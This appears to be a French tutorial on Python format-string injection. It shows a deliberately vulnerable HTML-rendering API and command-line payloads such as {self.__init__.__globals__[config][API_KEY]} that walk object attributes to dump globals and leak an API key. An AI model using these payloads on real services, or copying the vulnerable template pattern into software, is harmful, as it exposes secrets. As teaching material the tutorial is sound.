Vulnérabilités Python format string

Table des matières :

Que sont les format strings de Python

La méthode .format() a été introduite sur les objets strings dans Python 3 et a ensuite été rajoutée à Python 2.7. Voyons un exemple:

>>> print("I like {} and {}".format("Python","Pizza"))
"I like Python and Pizza"

Même si les format string python peuvent être très utiles dans les scripts, elles doivent être utilisées avec précaution car elles peuvent être sujettes à des vulnérabilités. Nous approfondirons cela dans la partie [Exploitation des format strings](./# exploiting-format-strings).

Exemple d’une API vulnerable

Voici un exemple d’API où un utilisateur peut rendre les données utilisateur au format HTML en utilisant son propre modèle et ses propres chaînes de format:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

config = {
    'API_KEY' : "212817d980b9a03add91e5814d02"
}

class API(object):
    def __init__(self, apikey):
        self.apikey = apikey

    def renderHTML(self, templateHTML, title, text):
        return (templateHTML.format(title=title, text=text))

if __name__ == '__main__':
    a = API(config[API_KEY])

    templateHTML = """<!DOCTYPE html>
<html lang="en" dir="ltr">
    <head>
        <meta charset="utf-8">
        <title>{title}</title>
    </head>
    <body>
        <p>{text}</p>
    </body>
</html>"""

    text = "This is text !"
    print(a.renderHTML(templateHTML, "Vuln web render App", text))

(Télécharger la source)

Lorsque l’utilisateur utilise cette API pour rendre les données au format HTML avec des modèles légitimes, il créerait ceci:

<html lang="en" dir="ltr">
    <head>
        <meta charset="utf-8">
        <title>Vuln web render App</title>
    </head>
    <body>
        <p>This is text !</p>
    </body>
</html>

Mais que se passerait-il si un utilisateur malveillant voulait gâcher les espaces réservés de format string à l’intérieur du modèle? Nous verrons cela dans la section suivante.

Exploiting format strings

Nous allons essayer d’injecter des espaces réservés de format string int de charges utiles du modèle. J’ai fait un script simple prenant des arguments et exécutant la fonction render de l’API:

Usage :

$ ./sandbox.py
Usage : python3 ./sandbox.py TEMPLATE CONTENT

Code source :

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys

config = {
    'API_KEY' : "212817d980b9a03add91e5814d02"
}

class API(object):
    def __init__(self, apikey):
        self.apikey = apikey

    def renderHTML(self, templateHTML, title, text):
        return (templateHTML.format(self=self, title=title, text=text))


if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("Usage : python3 "+sys.argv[0]+" TEMPLATE CONTENT")
    else :
        a = API(config['API_KEY'])
        print(a.renderHTML(sys.argv[1], "Vuln web render App", sys.argv[2]))

(Télécharger la source)

Essayons cette application avec un exemple légitime:

$ ./test.py "<p>{text}</p>" "Wow such string"
<p>Wow such string</p>

Mais les format strings sont géniaux en python! Vous pouvez accéder aux propriétés de l’objet directement dans le format string. Dans le cas d’une classe, cela peut être vraiment utile pour accéder à une valeur spécifique de la classe. Par exemple, le format string {person.username} récupère le champ username de la classe Person suivante:

class Person(object):
    def __init__(self, username):
        super(Person, self).__init__()
        self.username = username

Dans notre cas, nous pouvons exploiter cela pour accéder à d’autres attributs, tels que __init__:

$ ./sandbox.py "<p>{text.__init__}</p>" "Wow such string"
<p><method-wrapper '__init__' of str object at 0x7f8f10a3b9f0></p>

Mais nous pouvons également l’utiliser pour obtenir le contexte global du script, en utilisant __globals__ après __init__:

$ ./sandbox.py "<p>{self.__init__.__globals__}</p>" "Wow such string"
<p>{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f1385ac5f40>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': './sandbox.py', '__cached__': None, 'sys': <module 'sys' (built-in)>, 'config': {'API_KEY': '212817d980b9a03add91e5814d02'}, 'API': <class '__main__.API'>, 'a': <__main__.API object at 0x7f1385b31490>}</p>

En continuant ainsi, nous pouvons accéder à l'API_KEY:

$ ./sandbox.py "<p>{self.__init__.__globals__[config][API_KEY]}</p>" "Wow such string"
<p>212817d980b9a03add91e5814d02</p

Références additionnelles